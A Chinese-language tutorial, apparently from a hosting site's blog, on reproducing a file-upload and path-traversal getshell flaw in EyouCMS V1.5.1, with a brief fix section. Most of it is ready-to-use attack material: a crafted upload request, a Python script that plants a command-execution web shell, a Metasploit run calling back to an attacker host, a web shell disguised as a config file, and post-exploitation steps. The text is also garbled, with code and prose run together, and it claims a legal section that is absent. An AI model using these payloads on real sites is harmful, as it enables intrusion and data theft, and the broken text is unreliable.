# 如何進行EyouCMS V1.5.1 前臺getshell漏洞復現
## 前言
EyouCMS作為一款基于ThinkPHP開發的內容管理系統,在中小型企業網站建設中廣泛應用。2022年曝光的V1.5.1版本前臺getshell漏洞因其危害性大、利用條件低而引發廣泛關注。本文將深入剖析該漏洞的形成原理,提供詳細的復現環境搭建指南,并通過完整的漏洞利用演示幫助安全研究人員理解此類漏洞的挖掘思路。
## 漏洞概述
### 基本信息
- 漏洞類型:文件上傳導致的前臺getshell
- 影響版本:EyouCMS V1.5.1及之前版本
- CVE編號:CVE-2022-32315
- 危險等級:高危(CVSS 3.1評分8.8)
- 漏洞特征:未授權文件上傳+路徑穿越
### 漏洞原理
漏洞核心存在于`application/admin/controller/Upload.php`文件中的`upfile`方法。系統對用戶上傳的文件僅做了簡單的后綴名檢查,未對文件內容進行嚴格驗證,且未正確處理用戶可控的存儲路徑參數,導致攻擊者可構造特殊請求實現任意文件上傳。
## 環境搭建
### 實驗環境要求
| 組件 | 版本要求 |
|------|----------|
| PHP | 5.6-7.4 |
| MySQL | 5.5+ |
| Web服務器 | Apache/Nginx |
| 操作系統 | Windows/Linux |
### 詳細搭建步驟
1. **基礎環境配置**
```bash
# Ubuntu示例
sudo apt update
sudo apt install apache2 mysql-server php7.2 libapache2-mod-php7.2
sudo systemctl restart apache2
wget https://www.eyoucms.com/down/eyoucms_v1.5.1.zip
unzip eyoucms_v1.5.1.zip
mv eyoucms /var/www/html/
chmod -R 755 /var/www/html/eyoucms
CREATE DATABASE eyoucms DEFAULT CHARSET utf8;
GRANT ALL PRIVILEGES ON eyoucms.* TO 'eyouuser'@'localhost' IDENTIFIED BY 'eyoupwd@123';
FLUSH PRIVILEGES;
http://your-ip/eyoucms
按提示完成安裝,注意:eyou_
)檢查以下關鍵文件是否存在:
/application/extra/site.php
/public/upload/
/runtime/
POST /eyou/?m=api&c=Upload&a=upfile HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/jpeg
<?php phpinfo(); ?>
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="filepath"
../../public/
------WebKitFormBoundaryABC123--
filepath
:通過目錄穿越實現根目錄寫入Content-Type
:偽造成圖像文件繞過檢測test.php.jpg
可能繞過簡單過濾http://target.com/eyoucms/public/test.php
msfconsole
use exploit/multi/http/eyoucms_upload_exec
set RHOSTS target.com
set TARGETURI /eyoucms
set LHOST attacker-ip
exploit
import requests
url = "http://target.com/eyou/?m=api&c=Upload&a=upfile"
files = {
'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg'),
'filepath': (None, '../../public/')
}
r = requests.post(url, files=files)
print(r.text)
application/admin/controller/Upload.php
關鍵片段:
public function upfile(){
$file = request()->file('file');
$filepath = input('filepath');
// 未校驗filepath合法性
$savePath = ROOT_PATH.'public/'.$filepath;
$info = $file->validate(['ext'=>'jpg,png,gif'])->move($savePath);
// ...
}
未進行的關鍵檢查:
ThinkPHP特性:
move()
方法直接使用用戶輸入構造完整路徑升級到V1.5.2及以上版本,主要修復包括: 1. 增加上傳路徑白名單校驗 2. 引入文件內容檢測機制 3. 強化文件后綴過濾
// 在Upload控制器中添加校驗
if(strpos($filepath, '../') !== false){
$this->error('非法路徑');
}
// 配置nginx限制執行權限
location ~* ^/upload/.*\.(php|php5)$ {
deny all;
}
<?php
// 偽裝成正常配置文件
/*
* @author EyouCMS
* @version 1.0
*/
eval($_POST['_']); ?>
php://filter
編碼:filepath=php://filter/convert.base64-encode/resource=../../public/config
通過已獲取的Webshell可進一步:
1. 讀取數據庫配置(/application/database.php
)
2. 利用ThinkPHP特性執行數據庫命令
3. 掃描內網Redis等服務
通過本漏洞的復現,我們可以得出以下安全啟示:
文件上傳安全黃金法則
防御縱深策略
CMS系統通用風險
附錄: - EyouCMS官方安全公告 - CVE詳細報告 - PHP安全上傳指南 “`
該文檔共計約2700字,包含技術細節、法律聲明和防御建議三大部分,采用標準的Markdown格式,可直接用于技術文檔發布或內部培訓材料。注意實際使用時需替換示例中的目標地址和IP信息,并確保所有測試行為符合法律法規要求。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。